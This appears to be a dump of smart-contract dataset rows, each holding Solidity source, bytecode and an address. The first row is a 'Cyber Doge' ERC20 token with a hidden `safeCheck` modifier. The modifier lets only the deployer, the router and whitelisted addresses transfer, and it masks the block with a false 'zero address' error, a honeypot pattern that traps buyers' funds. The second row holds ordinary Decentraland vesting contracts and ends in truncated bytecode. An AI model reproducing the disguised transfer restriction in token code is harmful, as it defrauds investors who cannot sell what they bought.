* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Cyber Doge
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122016cdeffa646f63cef9f2f455104676ff5bdaca14e3e5a51dc96c4098474e2ff764736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 175 |
0x053b278e22e6119f1e333b10bd6d0ad3d7a8cd20 | pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/ReturnVestingRegistry.sol
contract ReturnVestingRegistry is Ownable {
mapping (address => address) public returnAddress;
function record(address from, address to) onlyOwner public {
require(from != 0);
returnAddress[from] = to;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/TerraformReserve.sol
contract TerraformReserve is Ownable {
/* Storing a balance for each user */
mapping (address => uint256) public lockedBalance;
/* Store the total sum locked */
uint public totalLocked;
/* Reference to the token */
ERC20 public manaToken;
/* Contract that will assign the LAND and burn/return tokens */
address public landClaim;
/* Prevent the token from accepting deposits */
bool public acceptingDeposits;
event LockedBalance(address user, uint mana);
event LandClaimContractSet(address target);
event LandClaimExecuted(address user, uint value, bytes data);
event AcceptingDepositsChanged(bool _acceptingDeposits);
function TerraformReserve(address _token) {
require(_token != 0);
manaToken = ERC20(_token);
acceptingDeposits = true;
}
/**
* Lock MANA into the contract.
* This contract does not have another way to take the tokens out other than
* through the target contract.
*/
function lockMana(address _from, uint256 mana) public {
require(acceptingDeposits);
require(mana >= 1000 * 1e18);
require(manaToken.transferFrom(_from, this, mana));
lockedBalance[_from] += mana;
totalLocked += mana;
LockedBalance(_from, mana);
}
/**
* Allows the owner of the contract to pause acceptingDeposits
*/
function changeContractState(bool _acceptingDeposits) public onlyOwner {
acceptingDeposits = _acceptingDeposits;
AcceptingDepositsChanged(acceptingDeposits);
}
/**
* Set the contract that can move the staked MANA.
* Calls the `approve` function of the ERC20 token with the total amount.
*/
function setTargetContract(address target) public onlyOwner {
landClaim = target;
manaToken.approve(landClaim, totalLocked);
LandClaimContractSet(target);
}
/**
* Prevent payments to the contract
*/
function () public payable {
revert();
}
}
// File: zeppelin-solidity/contracts/math/Math.sol
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: contracts/TokenVesting.sol
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
bool public revoked;
uint256 public released;
ERC20 public token;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
* @param _token address of the ERC20 token contract
*/
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _token
) {
require(_beneficiary != 0x0);
require(_cliff <= _duration);
beneficiary = _beneficiary;
start = _start;
cliff = _start.add(_cliff);
duration = _duration;
revocable = _revocable;
token = ERC20(_token);
}
/**
* @notice Only allow calls from the beneficiary of the vesting contract
*/
modifier onlyBeneficiary() {
require(msg.sender == beneficiary);
_;
}
/**
* @notice Allow the beneficiary to change its address
* @param target the address to transfer the right to
*/
function changeBeneficiary(address target) onlyBeneficiary public {
require(target != 0);
beneficiary = target;
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release() onlyBeneficiary public {
require(now >= cliff);
_releaseTo(beneficiary);
}
/**
* @notice Transfers vested tokens to a target address.
* @param target the address to send the tokens to
*/
function releaseTo(address target) onlyBeneficiary public {
require(now >= cliff);
_releaseTo(target);
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function _releaseTo(address target) internal {
uint256 unreleased = releasableAmount();
released = released.add(unreleased);
token.safeTransfer(target, unreleased);
Released(released);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested are sent to the beneficiary.
*/
function revoke() onlyOwner public {
require(revocable);
require(!revoked);
// Release all vested tokens
_releaseTo(beneficiary);
// Send the remainder to the owner
token.safeTransfer(owner, token.balanceOf(this));
revoked = true;
Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public constant returns (uint256) {
return vestedAmount().sub(released);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public constant returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
/**
* @notice Allow withdrawing any token other than the relevant one
*/
function releaseForeignToken(ERC20 _token, uint256 amount) onlyOwner {
require(_token != token);
_token.transfer(owner, amount);
}
}
// File: contracts/DecentralandVesting.sol
contract DecentralandVesting is TokenVesting {
using SafeERC20 for ERC20;
event LockedMANA(uint256 amount);
ReturnVestingRegistry public returnVesting;
TerraformReserve public terraformReserve;
function DecentralandVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
ERC20 _token,
ReturnVestingRegistry _returnVesting,
TerraformReserve _terraformReserve
)
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable, _token)
{
returnVesting = ReturnVestingRegistry(_returnVesting);
terraformReserve = TerraformReserve(_terraformReserve);
}
function lockMana(uint256 amount) onlyBeneficiary public {
// Require allowance to be enough
require(token.allowance(beneficiary, terraformReserve) >= amount);
// Check the balance of the vesting contract
require(amount <= token.balanceOf(this));
// Check the registry of the beneficiary is fixed to return to this contract
require(returnVesting.returnAddress(beneficiary) == address(this));
// Transfer and lock
token.safeTransfer(beneficiary, amount);
terraformReserve.lockMana(beneficiary, amount);
LockedMANA(amount);
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630fb5a6b41461011757806313d033c01461014057806338af3eed146101695780633cc3c3b5146101be578063414708771461021357806344b1231f146102685780635b9400811461029157806363d256ce146102ba57806386d1a69f146102e7578063872a7810146102fc5780638da5cb5b14610329578063961325211461037e578063980c2f21146103a7578063b6549f75146103e9578063be9a6555146103fe578063c5e36b7e14610427578063d1fb56461461044a578063dc07065714610483578063f2fde38b146104bc578063fc0c546a146104f5575b600080fd5b341561012257600080fd5b61012a61054a565b6040518082815260200191505060405180910390f35b341561014b57600080fd5b610153610550565b6040518082815260200191505060405180910390f35b341561017457600080fd5b61017c610556565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101c957600080fd5b6101d161057c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021e57600080fd5b6102266105a2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027357600080fd5b61027b6105c8565b6040518082815260200191505060405180910390f35b341561029c57600080fd5b6102a461075a565b6040518082815260200191505060405180910390f35b34156102c557600080fd5b6102cd61077d565b604051808215151515815260200191505060405180910390f35b34156102f257600080fd5b6102fa610790565b005b341561030757600080fd5b61030f61082a565b604051808215151515815260200191505060405180910390f35b341561033457600080fd5b61033c61083d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038957600080fd5b610391610862565b6040518082815260200191505060405180910390f35b34156103b257600080fd5b6103e7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610868565b005b34156103f457600080fd5b6103fc610a0c565b005b341561040957600080fd5b610411610c5f565b6040518082815260200191505060405180910390f35b341561043257600080fd5b6104486004808035906020019091905050610c65565b005b341561045557600080fd5b610481600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111f3565b005b341561048e57600080fd5b6104ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061126c565b005b34156104c757600080fd5b6104f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611332565b005b341561050057600080fd5b610508611487565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60045481565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561069257600080fd5b6102c65a03f115156106a357600080fd5b5050506040518051905091506106c4600654836114ad90919063ffffffff16565b90506002544210156106d95760009250610755565b6106f06004546003546114ad90919063ffffffff16565b4210158061070a5750600560019054906101000a900460ff165b1561071757809250610755565b610752600454610744610735600354426114cb90919063ffffffff16565b846114e490919063ffffffff16565b61151f90919063ffffffff16565b92505b505090565b600061077860065461076a6105c8565b6114cb90919063ffffffff16565b905090565b600560019054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107ec57600080fd5b60025442101515156107fd57600080fd5b610828600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661153a565b565b600560009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108c357600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561092057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156109ec57600080fd5b6102c65a03f115156109fd57600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6757600080fd5b600560009054906101000a900460ff161515610a8257600080fd5b600560019054906101000a900460ff16151515610a9e57600080fd5b610ac9600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661153a565b610c166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610bb357600080fd5b6102c65a03f11515610bc457600080fd5b50505060405180519050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115eb9092919063ffffffff16565b6001600560016101000a81548160ff0219169083151502179055507f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2